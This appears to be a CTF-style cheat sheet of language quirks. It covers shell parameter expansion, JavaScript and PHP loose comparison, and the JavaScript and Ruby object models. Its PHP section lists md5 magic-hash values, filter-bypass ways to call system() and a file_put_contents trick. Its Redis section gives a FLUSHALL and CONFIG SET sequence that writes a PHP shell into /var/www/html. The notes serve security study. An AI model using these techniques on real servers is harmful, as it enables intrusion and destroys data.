Programming Trick¶
Script Language¶
Shell¶
String Manipulation¶
-
Parameter Expansion x="a1b1c2d2" ${x#*1}b1c2d2${x##*1}c2d2${x%1*}a1b${x%%1*}a${x/1/3}a3b1c2d2${x//1/3}a3b3c2d2${x//?1/z3}z3z3c2d2${x:0:2}a1 -
sed
- awk
JavaScript¶
- Weak Type (comparison
==)[] == 0['a', ['b', 'c']] == "a,b,c""b" + "a" + + "a" + "a" == "baNaNa"
- Prototype Chain
__proto__ ─────────> ┌─────────────────────────────┐ ┌───────────────────────────────────────────────────┐ │ │ │ │ │ │ │ │ │ │ │ ┌──────┐ │ │ │ │ │ null │ │ │ │ │ └──────┘ │ │ │ │ ↑ │ │ ↓ ↓ │ │ ┌────────────┐ prototype┌────────────────────┐ ┌──────────────────┐ constructor┌──────────┐ │ Function() │─────────────│ Function.prototype │───>│ Object.prototype │─────────────│ Object() │ └────────────┘constructor └────────────────────┘ └──────────────────┘prototype └──────────┘ ↑ ↑ │ │ ┌─────┐ prototype┌─────────────┐ │ A() │─────────────│ A.prototype │ └─────┘constructor └─────────────┘ ↑ │ ┌─────────┐ │ new A() │ └─────────┘
Reference¶
PHP¶
- Weak Type (comparison
==)- PHP Truth Table
- String to Number Comparison
0eXXXX == 0eYYYYmd5(240610708) = 0e462097431906509019562988736854md5(314282422) = 0e990995504821699494520356953734md5(QLTHNDT) = 0e405967825401955372549139051580
- PHP Array
$arr[idx] <-> $arr{idx}strcmp([], []) -> NULLmd5([]) -> NULLsha1([ ]) -> NULLstrlen([ ]) -> NULLfile_put_contents("info.php", ["<?php ", "phpinfo();"]);
- Keyword Bypass
- Case Insensitive
<?php SySTeM("ls -al"); ?>
- Variable Function
$func="system"; $func("ls -al");
system(id) -> system("id")echo `id` -> system("id")
- Case Insensitive
-
-
normal tag
<?php echo 'test' ?> -
short tag
can be disabled via the
short_open_taginphp.ini, or are disabled by default if PHP is built with the--disable-short-tagsconfiguration<? echo 'test' ?> -
short echo tag
<?= 'test' ?>
-
Reference¶
Python¶
Reference¶
Ruby¶
- Object Model
superclass ──────────> ┌──────────────────────────────────────────────────────────┐ │ │ │ ┌─────┐ │ │ │ nil │ │ │ └─────┘ │ │ ↑ │ │ │ │ │ ┌─────────────┐ singleton_class┌──────────────┐ │ │ BasicObject │─────────────────│ #BasicObject │ │ └─────────────┘ └──────────────┘ │ ↑ ↑ ↓ │ │ ┌───────┐ ┌────────┐ ┌────────┐ singleton_class┌─────────┐ │ Class │───>│ Module │───>│ Object │─────────────────────│ #Object │ └───────┘ └────────┘ └────────┘ └─────────┘ ↑ ↑ │ │ class┌───┐ singleton_class┌────┐ ┌────────────────────│ A │───────────────────────────│ #A │ │ └───┘ └────┘ │ ↑ │ │ ┌───┐ singleton_class┌────┐ │ a │──────────────────│ #a │ └───┘ └────┘
Database¶
Redis¶
-
Write file
FLUSHALL SET payload "<?php phpinfo() ?>" CONFIG SET DIR /var/www/html/ CONFIG SET DBFILENAME shell.php SAVE